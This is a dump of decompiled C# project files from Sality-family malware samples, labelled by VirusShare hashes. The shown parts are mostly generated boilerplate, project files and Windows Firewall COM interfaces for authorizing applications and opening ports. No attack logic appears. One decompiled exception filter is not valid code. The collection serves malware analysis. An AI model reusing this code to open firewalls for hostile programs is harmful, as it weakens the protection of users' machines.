+    [HelpKeyword("My.Computer")]
+    internal static MyComputer Computer
+    {
+      [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Application")]
+    internal static MyApplication Application
+    {
+      [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.User")]
+    internal static User User
+    {
+      [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.Forms")]
+    internal static MyProject.MyForms Forms
+    {
+      [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
+    }
+
+    [HelpKeyword("My.WebServices")]
+    internal static MyProject.MyWebServices WebServices
+    {
+      [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
+    }
+
+    [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyForms
+    {
+      public Form1 m_Form1;
+      [ThreadStatic]
+      private static Hashtable m_FormBeingCreated;
+
+      public Form1 Form1
+      {
+        [DebuggerNonUserCode] get
+        {
+          this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
+          return this.m_Form1;
+        }
+        [DebuggerNonUserCode] set
+        {
+          if (value == this.m_Form1)
+            return;
+          if (value != null)
+            throw new ArgumentException("Property can only be set to Nothing");
+          this.Dispose__Instance__<Form1>(ref this.m_Form1);
+        }
+      }
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T Instance) where T : Form, new()
+      {
+        if ((object) Instance != null && !Instance.IsDisposed)
+          return Instance;
+        if (MyProject.MyForms.m_FormBeingCreated != null)
+        {
+          if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
+            throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
+        }
+        else
+          MyProject.MyForms.m_FormBeingCreated = new Hashtable();
+        MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
+        try
+        {
+          return new T();
+        }
+        catch (TargetInvocationException ex) when (
+        {
+          // ISSUE: unable to correctly present filter
+          ProjectData.SetProjectError((Exception) ex);
+          if (ex.InnerException != null)
+          {
+            SuccessfulFiltering;
+          }
+          else
+            throw;
+        }
+        )
+        {
+          throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
+        }
+        finally
+        {
+          MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
+        }
+      }
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) where T : Form
+      {
+        instance.Dispose();
+        instance = default (T);
+      }
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public MyForms()
+      {
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      internal new System.Type GetType() => typeof (MyProject.MyForms);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override string ToString() => base.ToString();
+    }
+
+    [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    internal sealed class MyWebServices
+    {
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
+
+      [DebuggerHidden]
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      public override int GetHashCode() => base.GetHashCode();
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      internal new System.Type GetType() => typeof (MyProject.MyWebServices);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public override string ToString() => base.ToString();
+
+      [DebuggerHidden]
+      private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
+
+      [DebuggerHidden]
+      private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public MyWebServices()
+      {
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Never)]
+    [ComVisible(false)]
+    internal sealed class ThreadSafeObjectProvider<T> where T : new()
+    {
+      internal T GetInstance
+      {
+        [DebuggerHidden] get
+        {
+          if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
+            MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
+          return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
+        }
+      }
+
+      [EditorBrowsable(EditorBrowsableState.Never)]
+      [DebuggerHidden]
+      public ThreadSafeObjectProvider()
+      {
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettings.cs

@@ -0,0 +1,74 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.MySettings
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic.ApplicationServices;
+using Microsoft.VisualBasic.CompilerServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+using System.Threading;
+
+namespace LFSTweak.My
+{
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  [CompilerGenerated]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
+    private static bool addedHandler;
+    private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [DebuggerNonUserCode]
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    private static void AutoSaveSettings(object sender, EventArgs e)
+    {
+      if (!MyProject.Application.SaveMySettingsOnExit)
+        return;
+      MySettingsProperty.Settings.Save();
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.addedHandler)
+        {
+          object handlerLockObject = MySettings.addedHandlerLockObject;
+          ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
+          Monitor.Enter(handlerLockObject);
+          try
+          {
+            if (!MySettings.addedHandler)
+            {
+              MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!MyProject.Application.SaveMySettingsOnExit)
+                  return;
+                MySettingsProperty.Settings.Save();
+              });
+              MySettings.addedHandler = true;
+            }
+          }
+          finally
+          {
+            Monitor.Exit(handlerLockObject);
+          }
+        }
+        MySettings defaultInstance = MySettings.defaultInstance;
+        return defaultInstance;
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/MySettingsProperty.cs

@@ -0,0 +1,31 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.MySettingsProperty
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.ComponentModel.Design;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace LFSTweak.My
+{
+  [DebuggerNonUserCode]
+  [HideModuleName]
+  [StandardModule]
+  [CompilerGenerated]
+  internal sealed class MySettingsProperty
+  {
+    [HelpKeyword("My.Settings")]
+    internal static MySettings Settings
+    {
+      get
+      {
+        MySettings settings = MySettings.Default;
+        return settings;
+      }
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/My/Resources/Resources.cs

@@ -0,0 +1,46 @@
+// Decompiled with JetBrains decompiler
+// Type: LFSTweak.My.Resources.Resources
+// Assembly: LFSTweak, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: C77C2A36-D42F-41E0-A8F4-0FAB7DAB4ECE
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe
+
+using Microsoft.VisualBasic;
+using Microsoft.VisualBasic.CompilerServices;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Diagnostics;
+using System.Globalization;
+using System.Resources;
+using System.Runtime.CompilerServices;
+
+namespace LFSTweak.My.Resources
+{
+  [HideModuleName]
+  [DebuggerNonUserCode]
+  [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "2.0.0.0")]
+  [CompilerGenerated]
+  [StandardModule]
+  internal sealed class Resources
+  {
+    private static ResourceManager resourceMan;
+    private static CultureInfo resourceCulture;
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static ResourceManager ResourceManager
+    {
+      get
+      {
+        if (object.ReferenceEquals((object) LFSTweak.My.Resources.Resources.resourceMan, (object) null))
+          LFSTweak.My.Resources.Resources.resourceMan = new ResourceManager("LFSTweak.Resources", typeof (LFSTweak.My.Resources.Resources).Assembly);
+        return LFSTweak.My.Resources.Resources.resourceMan;
+      }
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    internal static CultureInfo Culture
+    {
+      get => LFSTweak.My.Resources.Resources.resourceCulture;
+      set => LFSTweak.My.Resources.Resources.resourceCulture = value;
+    }
+  }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Resources.resx

@@ -0,0 +1,120 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <!-- 
+    Microsoft ResX Schema 
+    
+    Version 2.0
+    
+    The primary goals of this format is to allow a simple XML format 
+    that is mostly human readable. The generation and parsing of the 
+    various data types are done through the TypeConverter classes 
+    associated with the data types.
+    
+    Example:
+    
+    ... ado.net/XML headers & schema ...
+    <resheader name="resmimetype">text/microsoft-resx</resheader>
+    <resheader name="version">2.0</resheader>
+    <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+    <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+    <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+    <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+    <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+        <value>[base64 mime encoded serialized .NET Framework object]</value>
+    </data>
+    <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+        <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+        <comment>This is a comment</comment>
+    </data>
+                
+    There are any number of "resheader" rows that contain simple 
+    name/value pairs.
+    
+    Each data row contains a name, and value. The row also contains a 
+    type or mimetype. Type corresponds to a .NET class that support 
+    text/value conversion through the TypeConverter architecture. 
+    Classes that don't support this are serialized and stored with the 
+    mimetype set.
+    
+    The mimetype is used for serialized objects, and tells the 
+    ResXResourceReader how to depersist the object. This is currently not 
+    extensible. For a given mimetype the value must be set accordingly:
+    
+    Note - application/x-microsoft.net.object.binary.base64 is the format 
+    that the ResXResourceWriter will generate, however the reader can 
+    read any of the formats listed below.
+    
+    mimetype: application/x-microsoft.net.object.binary.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+            : and then encoded with base64 encoding.
+    
+    mimetype: application/x-microsoft.net.object.soap.base64
+    value   : The object must be serialized with 
+            : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+            : and then encoded with base64 encoding.
+
+    mimetype: application/x-microsoft.net.object.bytearray.base64
+    value   : The object must be serialized into a byte array 
+            : using a System.ComponentModel.TypeConverter
+            : and then encoded with base64 encoding.
+    -->
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="metadata">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" />
+              </xsd:sequence>
+              <xsd:attribute name="name" use="required" type="xsd:string" />
+              <xsd:attribute name="type" type="xsd:string" />
+              <xsd:attribute name="mimetype" type="xsd:string" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="assembly">
+            <xsd:complexType>
+              <xsd:attribute name="alias" type="xsd:string" />
+              <xsd:attribute name="name" type="xsd:string" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+              <xsd:attribute ref="xml:space" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+  <resheader name="resmimetype">
+    <value>text/microsoft-resx</value>
+  </resheader>
+  <resheader name="version">
+    <value>2.0</value>
+  </resheader>
+  <resheader name="reader">
+    <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+  <resheader name="writer">
+    <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+  </resheader>
+</root>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.csproj

@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="utf-8"?>
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.exe-->
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProjectGuid>{702B3FF5-6EBB-47BD-B038-EF0191CA095D}</ProjectGuid>
+    <OutputType>WinExe</OutputType>
+    <AssemblyName>LFSTweak</AssemblyName>
+    <ApplicationVersion>1.0.0.0</ApplicationVersion>
+    <RootNamespace>LFSTweak</RootNamespace>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <PlatformTarget>AnyCPU</PlatformTarget>
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="Microsoft.VisualBasic" />
+    <Reference Include="System" />
+    <Reference Include="System.Core" />
+    <Reference Include="System.Drawing" />
+    <Reference Include="System.Windows.Forms" />
+    <Reference Include="System.Xml.Linq" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Form1.cs" />
+    <Compile Include="Memory.cs" />
+    <Compile Include="My\MyApplication.cs" />
+    <Compile Include="My\MyComputer.cs" />
+    <Compile Include="My\MyProject.cs" />
+    <Compile Include="My\InternalXmlHelper.cs" />
+    <Compile Include="My\MySettings.cs" />
+    <Compile Include="My\MySettingsProperty.cs" />
+    <Compile Include="My\Resources\Resources.cs" />
+    <Compile Include="AssemblyInfo.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <EmbeddedResource Include="Form1.resx" />
+    <EmbeddedResource Include="Resources.resx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+</Project>

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d/Virus.Win32.Sality.sil.sln

@@ -0,0 +1,20 @@
+
+Microsoft Visual Studio Solution File, Format Version 9.00
+# Visual Studio 2005
+Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "LFSTweak", "Virus.Win32.Sality.sil-52c1c08a641f4eea7c4c4adfe074b30e92d254f958aa67f4b0ded38b7db3a24d.csproj", "{702B3FF5-6EBB-47BD-B038-EF0191CA095D}"
+EndProject
+Global
+	GlobalSection(SolutionConfigurationPlatforms) = preSolution
+		Debug|Any CPU = Debug|Any CPU
+		Release|Any CPU = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(ProjectConfigurationPlatforms) = postSolution
+		{702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+		{702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Debug|Any CPU.Build.0 = Debug|Any CPU
+		{702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Release|Any CPU.ActiveCfg = Release|Any CPU
+		{702B3FF5-6EBB-47BD-B038-EF0191CA095D}.Release|Any CPU.Build.0 = Release|Any CPU
+	EndGlobalSection
+	GlobalSection(SolutionProperties) = preSolution
+		HideSolutionNode = FALSE
+	EndGlobalSection
+EndGlobal

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/AssemblyInfo.cs

@@ -0,0 +1,14 @@
+using System.Reflection;
+
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyTitle("")]
+[assembly: AssemblyProduct("")]
+[assembly: AssemblyKeyFile("")]
+[assembly: AssemblyCopyright("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyKeyName("")]
+[assembly: AssemblyDelaySign(false)]
+[assembly: AssemblyFileVersion("1.1.51.0")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplication.cs

@@ -0,0 +1,31 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwAuthorizedApplication
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[Guid("B5E64FFA-C2C5-444E-A301-FB5E00018050")]
+[TypeLibType(4160)]
+[ComImport]
+public interface INetFwAuthorizedApplication
+{
+  [DispId(1)]
+  string Name { [DispId(1)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(1)] set; }
+
+  [DispId(2)]
+  string ProcessImageFileName { [DispId(2)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(2)] set; }
+
+  [DispId(3)]
+  NET_FW_IP_VERSION_ IpVersion { [DispId(3)] get; [DispId(3)] set; }
+
+  [DispId(4)]
+  NET_FW_SCOPE_ Scope { [DispId(4)] get; [DispId(4)] set; }
+
+  [DispId(5)]
+  string RemoteAddresses { [DispId(5)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(5)] set; }
+
+  [DispId(6)]
+  bool Enabled { [DispId(6)] get; [DispId(6)] set; }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwAuthorizedApplications.cs

@@ -0,0 +1,32 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwAuthorizedApplications
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Collections;
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("644EFD52-CCF9-486C-97A2-39F352570B30")]
+[ComImport]
+public interface INetFwAuthorizedApplications : IEnumerable
+{
+  [DispId(1)]
+  int Count { [DispId(1)] get; }
+
+  [DispId(2)]
+  void Add([MarshalAs(UnmanagedType.Interface), In] INetFwAuthorizedApplication app);
+
+  [DispId(3)]
+  void Remove([MarshalAs(UnmanagedType.BStr), In] string imageFileName);
+
+  [DispId(4)]
+  [return: MarshalAs(UnmanagedType.Interface)]
+  INetFwAuthorizedApplication Item([MarshalAs(UnmanagedType.BStr), In] string imageFileName);
+
+  [TypeLibFunc(1)]
+  [DispId(-4)]
+  [return: MarshalAs(UnmanagedType.CustomMarshaler)]
+  new IEnumerator GetEnumerator();
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwIcmpSettings.cs

@@ -0,0 +1,43 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwIcmpSettings
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("A6207B2E-7CDD-426A-951E-5E1CBC5AFEAD")]
+[ComImport]
+public interface INetFwIcmpSettings
+{
+  [DispId(1)]
+  bool AllowOutboundDestinationUnreachable { [DispId(1)] get; [DispId(1)] set; }
+
+  [DispId(2)]
+  bool AllowRedirect { [DispId(2)] get; [DispId(2)] set; }
+
+  [DispId(3)]
+  bool AllowInboundEchoRequest { [DispId(3)] get; [DispId(3)] set; }
+
+  [DispId(4)]
+  bool AllowOutboundTimeExceeded { [DispId(4)] get; [DispId(4)] set; }
+
+  [DispId(5)]
+  bool AllowOutboundParameterProblem { [DispId(5)] get; [DispId(5)] set; }
+
+  [DispId(6)]
+  bool AllowOutboundSourceQuench { [DispId(6)] get; [DispId(6)] set; }
+
+  [DispId(7)]
+  bool AllowInboundRouterRequest { [DispId(7)] get; [DispId(7)] set; }
+
+  [DispId(8)]
+  bool AllowInboundTimestampRequest { [DispId(8)] get; [DispId(8)] set; }
+
+  [DispId(9)]
+  bool AllowInboundMaskRequest { [DispId(9)] get; [DispId(9)] set; }
+
+  [DispId(10)]
+  bool AllowOutboundPacketTooBig { [DispId(10)] get; [DispId(10)] set; }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwMgr.cs

@@ -0,0 +1,40 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwMgr
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[Guid("F7898AF5-CAC4-4632-A2EC-DA06E5111AF2")]
+[TypeLibType(4160)]
+[ComImport]
+public interface INetFwMgr
+{
+  [DispId(1)]
+  INetFwPolicy LocalPolicy { [DispId(1)] [return: MarshalAs(UnmanagedType.Interface)] get; }
+
+  [DispId(2)]
+  NET_FW_PROFILE_TYPE_ CurrentProfileType { [DispId(2)] get; }
+
+  [DispId(3)]
+  void RestoreDefaults();
+
+  [DispId(4)]
+  void IsPortAllowed(
+    [MarshalAs(UnmanagedType.BStr), In] string imageFileName,
+    [In] NET_FW_IP_VERSION_ IpVersion,
+    [In] int portNumber,
+    [MarshalAs(UnmanagedType.BStr), In] string localAddress,
+    [In] NET_FW_IP_PROTOCOL_ ipProtocol,
+    [MarshalAs(UnmanagedType.Struct)] out object allowed,
+    [MarshalAs(UnmanagedType.Struct)] out object restricted);
+
+  [DispId(5)]
+  void IsIcmpTypeAllowed(
+    [In] NET_FW_IP_VERSION_ IpVersion,
+    [MarshalAs(UnmanagedType.BStr), In] string localAddress,
+    [In] byte Type,
+    [MarshalAs(UnmanagedType.Struct)] out object allowed,
+    [MarshalAs(UnmanagedType.Struct)] out object restricted);
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPort.cs

@@ -0,0 +1,37 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwOpenPort
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Runtime.InteropServices;
+
+[Guid("E0483BA0-47FF-4D9C-A6D6-7741D0B195F7")]
+[TypeLibType(4160)]
+[ComImport]
+public interface INetFwOpenPort
+{
+  [DispId(1)]
+  string Name { [DispId(1)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(1)] set; }
+
+  [DispId(2)]
+  NET_FW_IP_VERSION_ IpVersion { [DispId(2)] get; [DispId(2)] set; }
+
+  [DispId(3)]
+  NET_FW_IP_PROTOCOL_ Protocol { [DispId(3)] get; [DispId(3)] set; }
+
+  [DispId(4)]
+  int Port { [DispId(4)] get; [DispId(4)] set; }
+
+  [DispId(5)]
+  NET_FW_SCOPE_ Scope { [DispId(5)] get; [DispId(5)] set; }
+
+  [DispId(6)]
+  string RemoteAddresses { [DispId(6)] [return: MarshalAs(UnmanagedType.BStr)] get; [DispId(6)] set; }
+
+  [DispId(7)]
+  bool Enabled { [DispId(7)] get; [DispId(7)] set; }
+
+  [DispId(8)]
+  bool BuiltIn { [DispId(8)] get; }
+}

MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6/INetFwOpenPorts.cs

@@ -0,0 +1,32 @@
+// Decompiled with JetBrains decompiler
+// Type: INetFwOpenPorts
+// Assembly: PMSInstallInit, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 1143B458-69F7-4F72-9059-A13F9AB730BC
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Virus.Win32.Sality.sil-66a8bf80b7d1c03c218a77899ddc10c75b21c3784127eb96343f22ad5b31b4d6.exe
+
+using System.Collections;
+using System.Runtime.InteropServices;
+
+[TypeLibType(4160)]
+[Guid("C0E9D7FA-E07E-430A-B19A-090CE82D92E2")]
+[ComImport]
+public interface INetFwOpenPorts : IEnumerable
+{
+  [DispId(1)]
